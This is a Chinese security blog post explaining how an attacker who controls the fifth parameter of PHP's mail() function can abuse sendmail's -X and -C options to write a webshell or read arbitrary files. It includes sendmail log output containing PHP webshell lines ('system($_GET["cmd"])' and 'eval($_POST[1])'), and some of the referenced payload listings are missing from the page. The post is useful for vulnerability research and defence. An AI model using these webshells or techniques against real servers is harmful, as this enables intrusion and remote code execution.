您当前位置: 首页 » 敏感函数 » Mail()

Mail()

2017年1月20日 | 发表评论(0) 查看评论

Mail函数既能写shell,还能读文件

Mail函数最近被爆的漏洞比较多,我也来踩一下坑。

Php的mail函数依赖于sendmail。。此功能linux下默认安装。

之前在kali中执行各种错误

解决无果,以为是代码问题,浪费一天时间,最后换ubuntu解决。

根据官方的说明mail一共5个参数,其中第五个参数如果可控的话可以实现任意文件写入和任意文件读取。下面分开介绍

  • 任意文件写入进行getshell
    1. 利用原理

-X  man sendmail可以查看相关参数

-X logfile

Log all traffic in and out of mailers in the indicated log file.

This  should  only be used as a last resort for debugging mailer

bugs.  It will log a lot of data very quickly.

  1. 利用方式

    如此便可以将$subject的内容写入rce.php

    14198 <<< To: a@b.c

    14198 <<< Subject: <?php system($_GET[“cmd”]); ?>

    14198 <<< X-PHP-Originating-Script: 1002:1.php

    14198 <<<

    14198 <<<

    14198 <<<

    14198 <<< [EOF]

    在绿盟的博客中我们发现了一种新的不需要知道绝对路径就可以写文件的方法:123@456  oQ/tmp  X./shell.php  当目录没有写权限的时候,可以利用配置文件执行代码,这里我并没有执行成功,先记录下来以后慢慢研究。。如果我们能找到一个上传的地方,上传一个静态文件,文件的内容为sendmail的配置文件的内容,复制一份/etc/mail/sendmail.cg,然后在结尾加上一个配置:

    注意标红的这两个地方,然后上传这个文件。

    (注意这里是在复制一份原始的配置,然后末尾加上一段,不是修复原有的内容。)

    因为默认系统会使用sendmail-mta来解析发送的邮件内容,这里我们添加一段上面的内容目的就是覆盖默认的解析,使用php来解析邮件内容。

    然后我们就是用这个上传的静态文件为临时配置文件来发送邮件,比如上传之后的静态文件为./upload/sendmail_cf,漏洞利用的payload如下:

    最后系统执行的命令如下:

    如下如发送邮件时将使用sendmail_cf来解析邮件内容,我们将邮件内容填一段php代码,这个时候这段php代码就能被php来解析了,成功执行我们的php代码。

  2. 任意文件读取如果在不知道web路径的情况下,写文件来getshell略显鸡肋,如果有个文件读取来帮助我们读取配置文件,找到路径就好了。Mail()在第五个参数中还提供了一个-C 参数,-Cfile Use   alternate  configuration  file.   Sendmail  gives  up  anyenhanced (set-user-ID or set-group-ID) privileges if  an  alter‐

    nate configuration file is specified.

    使用他可以用来指定备用的配置文件,这时我们对于错误的目录文件,就会导致程序报错被记录到我们的配置文件中,导致了任意文件读取漏洞

    代码如下:

    -C 是要读取的文件。

    得到内容

    14443 <<< 221 2.0.0 ubuntu closing connection

    14478 >>> /home/wwwroot/index/web/12.php.php: line 0: cannot open: No such file or directory

    14504 >>> /home/wwwroot/index/web/12.php: line 1: unknown configuration line “<?php eval(_POST[1]);?>”

    14504 >>> No local mailer defined

    可以看到已经读取了12.php的内容 其中$等一些字符会被转义,但是不影响我们阅读。。

分类:

敏感函数

| 标签:

发表评论?

0 条评论。

发表评论


注意 - 你可以用以下 HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">